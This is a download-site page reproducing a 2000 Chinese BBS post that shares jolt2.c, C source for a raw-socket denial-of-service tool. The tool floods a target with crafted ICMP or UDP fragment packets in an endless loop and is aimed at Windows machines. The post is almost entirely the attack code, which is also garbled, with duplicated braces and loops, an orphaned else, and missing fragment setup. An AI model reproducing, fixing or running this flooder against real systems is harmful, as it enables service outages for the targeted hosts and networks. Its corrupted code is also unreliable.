⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 350.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="309.htm">上一层</a>][<a href="351.htm">下一篇</a>]
<hr><p align="left"><small>寄信人: bibble (三人行有我师) <br>

  <br>

标  题: jolt2.c -- a DOS tool to windows <br>

  <br>

发信站: BBS 水木清华站 (Mon Nov  6 01:55:18 2000) <br>

  <br>

来  源: 162.105.203.39 <br>

  <br>

  <br>

  <br>

【 以下文字转载自 bibble 的信箱 】 <br>

  <br>

【 原文由 jgsun 所发表 】 <br>

  <br>

#include <stdio.h> <br>

  <br>

#include <string.h> <br>

  <br>

#include <netdb.h> <br>

  <br>

#include <sys/socket.h> <br>

  <br>

#include <sys/types.h> <br>



  <br>

#include <netinet/in.h> <br>

  <br>

#include <netinet/ip.h> <br>

  <br>

#include <netinet/ip_icmp.h> <br>

  <br>

#include <netinet/udp.h> <br>

  <br>

#include <arpa/inet.h> <br>

  <br>

#include <getopt.h> <br>

  <br>

  <br>

  <br>

struct _pkt <br>

  <br>

{ <br>

  <br>

   struct iphdr    ip; <br>

  <br>

   union { <br>

   union { <br>

  <br>

     struct icmphdr  icmp; <br>

  <br>

     struct udphdr   udp; <br>

  <br>

   }  proto; <br>

  <br>

   char data; <br>

  <br>

} pkt; <br>

  <br>

  <br>

  <br>

int icmplen  = sizeof(struct icmphdr), <br>

  <br>

     udplen   = sizeof(struct udphdr), <br>

  <br>

     iplen    = sizeof(struct iphdr), <br>

  <br>

     spf_sck; <br>

  <br>

  <br>

  <br>

  <br>

void usage(char *pname) <br>

  <br>

{ <br>

  <br>

   fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", <br>

  <br>

            pname); <br>

  <br>

   fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); <br>

  <br>

   exit(0); <br>

  <br>

} <br>

  <br>

  <br>

  <br>

u_long host_to_ip(char *host_name) <br>

  <br>

{ <br>

  <br>

   static  u_long ip_bytes; <br>



  <br>

   struct hostent *res; <br>

  <br>

  <br>

  <br>

   res = gethostbyname(host_name); <br>

  <br>

   if (res == NULL) <br>

  <br>

     return (0); <br>

  <br>

   memcpy(&ip_bytes, res->h_addr, res->h_length); <br>

  <br>

   return (ip_bytes); <br>

  <br>

} <br>

  <br>

  <br>

  <br>

void quit(char *reason) <br>

  <br>

{ <br>

{ <br>

  <br>

   perror(reason); <br>

  <br>

   close(spf_sck); <br>

  <br>

   exit(-1); <br>

  <br>

} <br>

  <br>

  <br>

  <br>

int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) <br>

  <br>

{ <br>

  <br>

   int     bs, psize; <br>

  <br>

   unsigned long x; <br>

  <br>

   struct  sockaddr_in to; <br>

  <br>

   { <br>

   { <br>

  <br>

     pkt.proto.udp.source = htons(port|1235); <br>

  <br>

     pkt.proto.udp.dest = htons(port); <br>

  <br>

     pkt.proto.udp.len = htons(9); <br>

  <br>

     pkt.data = 'a'; <br>

  <br>

   } else { <br>

  <br>

     pkt.proto.icmp.type = ICMP_ECHO; <br>

  <br>

pkt.proto.icmp.code = 0; <br>

  <br>

 pkt.proto.icmp.checksum = 0; <br>

  <br>

 } <br>

  <br>

  <br>

  <br>

   while (1) { <br>

   while (1) { <br>

  <br>

     bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, <br>

  <br>

               sizeof(struct sockaddr)); <br>

  <br>

   } <br>

  <br>

   return bs; <br>

  <br>

} <br>

  <br>

  <br>

  <br>

int main(int argc, char *argv[]) <br>

  <br>

{ <br>

  <br>

   u_long  src_addr, dst_addr; <br>

  <br>

   int i, bs=1, port=0; <br>

  <br>

   char hostname[32]; <br>



  <br>

  <br>

  <br>

   if (argc < 2) <br>

  <br>

     usage (argv[0]); <br>

  <br>

  <br>

  <br>

   gethostname (hostname, 32); <br>

  <br>

src_addr = host_to_ip(hostname); <br>

  <br>

  <br>

  <br>

   while ((i = getopt (argc, argv, "s:p:h")) != EOF) <br>

  <br>

   { <br>

  <br>

     switch (i) <br>

  <br>

     { <br>

     { <br>

  <br>

       case 's': <br>

  <br>

         dst_addr = host_to_ip(optarg); <br>

  <br>

         if (!dst_addr) <br>

  <br>

           quit("Bad source address given."); <br>

  <br>

         break; <br>

  <br>

  <br>

  <br>

       case 'p': <br>

  <br>

         port = atoi(optarg); <br>

  <br>

         if ((port <=0) || (port > 65535)) <br>

  <br>

           quit ("Invalid port number given."); <br>

  <br>

         break; <br>



  <br>

       case 'h': <br>

       default: <br>

         usage (argv[0]); <br>

     } <br>

   } <br>

  <br>

   dst_addr = host_to_ip(argv[argc-1]); <br>

   if (!dst_addr) <br>

     quit("Bad destination address given."); <br>

  <br>

   spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); <br>

   if (!spf_sck) <br>

     quit("socket()"); <br>

   if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, <br>

       sizeof(bs)) < 0) <br>

     quit("IP_HDRINCL"); <br>

  <br>

   do_frags (spf_sck, src_addr, dst_addr, port); <br>

} <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="309.htm">上一层</a>][<a href="351.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -